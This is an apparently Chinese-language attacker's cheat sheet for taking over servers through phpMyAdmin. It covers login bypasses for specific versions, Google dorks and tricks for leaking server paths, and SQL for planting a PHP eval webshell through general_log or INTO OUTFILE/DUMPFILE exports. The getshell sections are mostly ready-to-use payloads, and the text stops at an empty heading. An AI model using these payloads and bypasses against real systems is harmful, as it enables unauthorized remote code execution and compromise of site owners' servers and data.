PhPMyadmin拿Shell
phpmyadmin
是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具, --百度百科
1.入口寻找
目录扫描:
根据Linux对大小写敏感判断目标服务器是win还是Linux
CMS特性
通过Google Hacking寻找
2.口令爆破
3.远程代码执行漏洞等
4.后台bypass(万能密码)
phpmyadmin2.11.3-2.11.4 这两个版本存在万能密码,直接使⽤‘localhost’@'@”为账号,密码不⽤输⼊。
phpmyadmin2.11.9.2 这个版本存在空口令。直接root⽤⼾登陆,密码不⽤
5.Getshell
5.1通过报错获取物理路径
如何报错?⼀般就是加 ' 等特殊字符
解析器(Web容器、中间件)报错
如 IIS7.5,如何报错?⼀般就是加⼀些不存在的⽬录名字
5.2通过google爆路径
结合关键字和site语法搜索出错⻚⾯的⽹⻚快照,常⻅关键字有warning和fatal error。注意,如果⽬标站点
是⼆级域名,
site接的是其对应的顶级域名,这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw "atal error
5.3根据正常安装文件路径猜
c:/phpStudy/phpstudy/PHPTutorial/WWW/
5.4读取解析器的配置⽂件
正常
正常情况我们是⽆法得知解析器的配置⽂件的,这个时候就是尝试解析器默认的安装路径。
取巧
假设某种情况下,我们得知⽬标是⽤的phpstudy,可是不是在默认的路径,我们就可以读取路径 select
@@basedir ,得到路径后,推测⽹站路径。
5.5旁站报错
什么是旁站?旁站是和目标网站在同一台服务器上的其它的网站。
⽐如⽬标站是 www.target.com ,它的邻居(旁站)
是:www.victim.com ,邻居⽹站有注⼊,加 ' 后爆出它的⽹站某个⻚⾯路径是:c:/wwwroot/victim/news.asp ,那
你根据这个推测你的⽬标站点的路径就有可能是 c:/wwwroot/target/
5.6phpinfo页面查看路径
scrver_filename:当前页面物理路径
5.7网站源备份
6.1通过日志拿shell
原理,phpmyadmin有⼀个general log的日志⽂件,但是⼀般情况下会关闭,开启⽇志记录,然后设置⽇志记录名称为.php,随便执⾏
sql语句,只要包括⼀句话木⻢就会被写⼊到⽇志中去,然后就可以连接getshell。
通过sql语句将日志文件打开
set global general_log='on' //⾸先设置为on
set global general_log_file ="F:\\phpstudy\\WWW\\3.php" \\ 将日志文件导入到.......php文件下
#执⾏⼀条带有⼀句话⽊⻢代码的SQL语句,如:
select “<?php eval($_POST['mima'])?>”;
查看文件
菜刀链接
6.2通过导出拿shell
6.2.1正常导出拿shell
姿1. SELECT "<?php phpinfo();?>" INTO OUTFILE "E:\\wamp\\wamp\\www\\2.php"
姿2. SELECT "<?php phpinfo();?>" INTO dumpFILE "E:\\wamp\\wamp\\www\\2.php"
outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
6.2.2创建表导出
CREATE TABLE a (cmd text NOT NULL);
INSERT INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
DROP TABLE IF EXISTS a;
5.2.3. 猥琐型导出